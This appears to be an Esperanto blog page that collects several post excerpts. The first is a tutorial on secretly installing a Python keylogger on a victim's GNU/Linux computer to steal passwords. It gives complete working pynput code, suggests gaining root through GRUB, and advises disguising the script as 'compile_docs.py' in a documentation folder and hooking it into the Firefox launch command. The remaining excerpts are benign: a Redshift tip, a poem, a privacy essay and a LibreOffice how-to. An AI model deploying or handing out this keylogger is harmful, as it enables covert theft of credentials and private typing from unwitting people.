Baza klavaroregistrilo (keylogger) por GNU/Linukso. Ŝteli pasvortojn kaj tajpitajn informojn

Simpla maniero ŝteli pasvortojn estas instali klavaroregistrilon (keylogger) en la komputilo de nia viktimo. Mi montros kiel fari tion en GNU/Linukso per la Python-programlingvo.

Unue ni devas akiri permesojn de ĉefuzanto. Se la komputilo estas administrita de ni, ni jam scias la pasvorton. Se tio ne estas nia okazo, ni povas akiri aliron de ĉefuzanto per GRUB. Per la necesaj permesoj ni jam povas instali la klavaroregistrilon.

Unue, oni devas instali la pynput-bibliotekon per...

sudo pip install pynput

Sekve ni devas skribi la klavaroregistrilon. Jen la kodo, kiun ni uzos:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging

log_dir = "/usr/share/doc/python3/"

logging.basicConfig(filename=(log_dir + "log"), \
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

La klavaroregistrilo konserviĝas en log_dir. Mi, ĉi-okaze, specifis la dokumentaran dosieron de Python 3 en GNU/Linukso. Ni ankaŭ povas konservi la klavaroregistrilon en tiun dosierujon, eble uzante la nomon compile_docs.py aŭ iun similan, por ne altiri la atenton. Plej bone estas elekti dosierujon, kiun la viktimo ne eniros, por eviti, ke ri ne rimarku tion, kion ni faras.

Fine ni devus plenumi la programon ĉiam, kiam oni ŝaltu la komputilon aŭ programo estu plenumita, sen ke la viktimo rimarku. Se, ekzemple, ni volas startigi la klavaroregistrilon ĉiam, kiam la uzanto malfermu Firefox-on, ni povas modifi la Firefox-komandon. Legu plu el Baza klavaroregistrilo (keylogger) por GNU/Linukso. Ŝteli pasvortojn kaj tajpitajn informojn

Malpliigi la ekranan bluan lumon per Redshift

Blua lumo estas emisiita de naturaj fontoj, kiel la suno kaj ekranoj de elektraj aparatoj. Oni konsideras, ke ĉirkaŭ triono de ĉiu la lumo videbla de homoj estas blua. Tro da ricevado de tia lumo kaŭzas gravajn sanajn problemojn.

Legu plu el Malpliigi la ekranan bluan lumon per Redshift

Ruĝa lumo

Merlo, fiksu sur mi vian rigardon.
Kaŝtanarbo, fiksu sur mi viajn ekinojn.
Kunprenu min for de la blua lumo.

Estas loko, kie la luno lumas,
kie flustras vian nomon la nokto,
kiu petas al ni, ke ni kunigu niajn korpojn.
Ĉu vi sentas la ombrojn, kiuj brulas?
Ĉu vi aŭdas la kanton de la arbaro?

Ruĝan lumon vivigu.
Bluan lumon mortigu.

Privateco estas kolektiva afero

Multaj homoj persone klarigas kial ili protektas aŭ kial ne sian privatecon. Oni aŭskultas de tiuj, al kiuj ne multe gravas, ke ili devas kaŝi nenion. Kiuj zorgas, faras tion por protekti sin kontraŭ senskrupulaj firmaoj, subpremaj ŝtatoj, ktp. Ambaŭ kutime supozas, ke privateco estas persona afero, sed ne estas.

Privateco estas afero kaj individua kaj kolektiva. La datenoj akiritaj de grandaj firmaoj kaj registaroj malofte estas individue uzitaj. Ni povas kompreni, ke la privateco estas individua rajto rilate al komunumo, kiel diras Edward Snowden:

Argumenti, ke la privateco ne gravas al vi ĉar vi ne devas kaŝi ion, ne estas malsama ol diri, ke la gazetarlibereco ne gravas al vi ĉar vi ne devas diri ion.

Viaj datenoj povas esti uzita por bono aŭ por malbono. La datenoj senbezone kaj senpermese kolektitaj kutime estas uzitaj por malbono.

La ŝtatoj kaj la grandaj teknologiaj firmaoj ege malobservas nian privatecon. Multaj homoj silente aprobas argumentante, ke ne eblas fari ion por ŝanĝi tion: la firmaoj havas tro da povo kaj la registaroj faros nenion por ŝanĝi la situacion. Kaj tiuj homoj ja kutimas doni povon al firmaoj, kiuj gajnas monon per iliaj datenoj, kaj diras tiel al la ŝtatoj, ke ili ne estos baro, kiam ili volu realigi politikojn de amasa gvatado. Vere ili damaĝas la privatecon de tiuj, kiuj zorgas.

La kolektiva ago komencas en la individuo. Ĉiu homo devus pripensi, se ri donas proprajn datenojn, kiujn ri ne devus doni, se ri favoras la kreskadon de kontraŭprivatecaj firmaoj kaj, eĉ pli grave, se ri estas rompante la privatecon de siaj proksimuloj. La plej bona maniero protekti la privatan informon estas ne doni ĝin. Per konscia rigardo al la problemo oni povas subteni protektojn, kiuj defendas la privatecon.

La personaj datenoj estas tre valoraj — tiom, ke kelkaj nomas ilin la «nova nafto» — ne nur ĉar ili povas esti venditaj al aliuloj, sed ankaŭ ĉar ili donas povon al tiu, kiu havas ilin. Kiam ni donas ilin al registarojn, ni donas al ili povon, por ke ili kontrolu nin. Kiam ni donas ilin al firmaoj, ni donas al ili povon, por ke ili havu influon sur nia konduto. Finfine la privateco gravas, ĉar ĝi helpas al ni konservi la povon, kiun ni havas sur niaj vivoj, tiun povon, kiun tiom pene ili klopodas forpreni de ni. Mi ne donacos nek fie vendos miajn datenojn, ĉu vi?

Kiel forigi tabelajn ĉelojn en LibreOffice Writer

Por forigi ĉelojn la sola opcio estas forigi ĝiajn borderojn. Ĉi tie mi havas tabelon, el kiu mi volas forigi tri el la plej supraj ĉeloj, kiuj troas:

Por fari tion ni devas alklaki la Borderoj-butonon, kiu aperas malsupre, kiam ni elektas la forigotajn ĉelojn, kaj poste mi alklakas la butonon Sen borderoj, kiel ni faras en la jena bildo:

Se vi perdiĝas, ĉi tie estas ankaŭ klariga video:

Jen la rezulto: